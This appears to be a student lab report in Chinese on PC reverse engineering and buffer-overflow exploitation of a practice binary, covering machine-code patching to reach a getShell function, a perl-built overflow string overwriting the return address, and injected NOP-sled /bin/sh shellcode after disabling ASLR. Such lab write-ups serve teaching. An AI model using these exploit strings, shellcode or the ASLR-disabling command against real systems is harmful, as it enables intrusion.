zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175313张黎仙《网络对抗技术》Exp1 PC平台逆向破解

    一、实验目标

    1. 直接修改程序机器指令,运行原本不可访问的代码片段
    2. 构造输入参数,造成BOF攻击,改变程序执行流
    3. 制作shellcode,注入该shellcode,并运行任意代码
    4. 结合nc模拟远程攻击

    二、实验原理


    三、实验内容

    • 实验对象:名为20175313pwn的linux可执行文件。
    • 文件说明:20175313pwn中main函数调用foo函数,foo函数用于将用户输入的字符串回显到屏幕上。20175313pwn文件还包含一段getShell程序,用于返回一个可用Shell。

    任务一

    • 预备知识:掌握NOP, JNE, JE, JMP, CMP汇编指令对应的机器码
    • NOP:"no operation"空操作,机器码0x90
    • JNE:"not equal"不等则跳转,机器码0x75
    • JE:相等则跳转,机器码0x74
    • JMP:无条件跳转
    1. 段内直接短转Jmp short,机器码0xEB;
    2. 段内直接近转移Jmp near,机器码0xE9;
    3. 段内间接转移Jmp word,机器码0xFF;
    4. 段间直接(远)转移Jmp far,机器码0xEA
    • CMP:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39
      更多详情请参见汇编指令机器码对应列表
    • 任务要求:通过直接修改程序机器指令,使其运行原本不可访问的代码片段getShell。
    • 实验步骤:
    • 使用objdump -d 20175313pwn | more对2017313pwn可执行文件进行反汇编
    • 由上图可知,20175313pwn反汇编后,main函数通过call 8048491 <foo>(对应的机器指令为:e8 d7 ff ff ff,其中e8是call指令的机器码,d7 ff ff ff是十六进制补码,EIP的值+d7 ff ff ff=8048491=80484ba+d7 ff ff ff)来调用foo函数。
    • 如果要使得main函数调用getShell函数,只需将call 8048491 <foo>改为call 804847d <getShell>即可。所以只需要修改call 8048491 <getShell>指令对应的机器指令,将其改为:e8 c3 ff ff ff(804847d-80484ba=ffffffc3)
    • 使用vi 20175313pwn编辑可执行文件。按esc后,输入:%!xxd将显示模式切换为十六进制模式,在底行/d7查找需要修改的内容,将d7改为c3后,输入:%!xxd -r转换16进制为原格式,:wq保存退出。
    • 对修改结果进行验证,如下图:
    • 20175313pwn.bak为原文件,20175313pwn为修改后文件,其运行结果如下:

    任务二

    • 需求分析:
    • 由上面的实验原理,可得:当输入的字符串超过0x1c=28个字节后,就会造成缓冲区溢出,而我们需要做的就是构造一个字符串,使其产生缓冲区溢出,并且溢出到图中EIP的值正好为getShell的起始地址0x0804847d。
    • 上图中我们可以看到,在给字符串预留的28个字节上面4个字节是存放main函数堆栈的栈底,在上面4个字节是返回地址。因此,我们需要构造的字符串的第33-36个字节为0x0804847d。
    • 预备知识:
    • 使用perl语言,能够将无法通过键盘输入的十六进制值直接输入,并使用输出重定向">"将perl生成的字符串存储到文件中。例如:perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input 是将字符串"11111111222222223333333344444444x7dx84x04x08x0a"重定向到文件input中。
    • xxd 文件名将文件内容以16进制形式呈现。
    • (cat 文件名file1;cat) | 可执行文件名file2将file1中的字符串通过管道传递给file2,作为可执行文件file2的输入。
    • 实验步骤:
    • 构造字符串 11111111222222223333333344444444x08x04x84x7d,还是11111111222222223333333344444444x7dx84x04x08
    • 当构造字符串11111111222222223333333344444444x08x04x84x7d作为输入字符串时,调试结果如下图:
    • 由此可知,应该构造字符串11111111222222223333333344444444x7dx84x04x08,结果如下图:

    任务三

    • 需求分析:
    • 与任务二类似,在给字符串预留的28个字节上面4个字节是存放main函数堆栈的栈底,在上面4个字节是返回地址。因此,我们需要构造的字符串的第33-36个字节为我们想要注入的shellcode的起始地址。
    • 由于执行过程的未知性,想要准确知道shellcode的起始地址的很难的,为了提高猜测的准确性,我们一般在想要注入的shellcode前面填充许多空操作nop(机器码为0x90),使得只要找到任意一个0x90的位置作为起始地址覆盖到eip处,就能够让shellcode被执行。
    • 所以,我们需要找到0x90的位置。
    • 预备知识:
    • Linux下有两种基本构造攻击buf的方法,一般选择第一种。
      1. retaddr+nop+shellcode
      1. nop+shellcode+retaddr
    • execstack -s pwn1 设置堆栈可执行;
    • execstack -q pwn1 查询文件的堆栈是否可执行;
    • more /proc/sys/kernel/randomize_va_space查看地址随机化的状态;
    • echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
    • 实验步骤:
    • perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > 20175313input上面的x4x3x2x1将覆盖到堆栈上的返回地址的位置我们需要把它改为shellcode的起始地址,所以通过调试找到0x90所在位置,调试过程如下:

    • 由于未设置堆栈空间可执行和关闭虚拟地址空间随机化导致失败,所以先做好上述准备工作后,重新寻找shellcode起始地址。

    • 找到shellcode起始地址后,重新注入,并验证,最后运行成功。


    任务四



    四、实验思考

    • 什么是漏洞?

    缓冲区溢出就是漏洞。漏洞就是缺陷,可以存在于硬件、软件、协议等各个方面,黑客可以利用漏洞对计算机进行攻击。

    • 漏洞有什么危害?

    存在漏洞,就会使黑客有机会对目标主机进行远程控制,会造成机密性、完整性、真实性等安全属性遭到破坏,以达到他们想要的目的。

    五、实验收获与感想

    • 本次实验虽然花费我大量的时间,但是也收获了同比的知识。让在我对缓冲区溢出原理清楚明白的基础上,辅以相应的实践,加深了我对缓冲区溢出的理解。
    • 同时,也让我反思自己以前写的代码,对于int A[10];这种代码产生一种危机感,深刻明白自己在代码编写方面的不足。
    • 最重要的是让我学会在遇到事情时,一定要冷静分析,把握大方向。首先要有思路也就是目标要明确,然后进行预期,操作,验证。做的每一步都要进行验证,每一步验证的成功,才能达到最后的成功。

    六、参考资料

    0x11_MAL_逆向与Bof基础

  • 相关阅读:
    赢在中国让创业不再孤独
    职场心得:关于资源整合!
    中国遭遇第三次单身危机
    成功人士个人财富增长的15种能力
    工作三年之后的十三种痛!
    创业需要什么——第一篇 思维能力和行动能力YC
    忠言多少有些逆耳,创业的九条真经
    培养你的品格
    任何一个创业者都要注意的22个经典提示
    获益匪浅:在北京每月能白捡一万元
  • 原文地址:https://www.cnblogs.com/xiannvyeye/p/12403419.html
Copyright © 2011-2022 走看看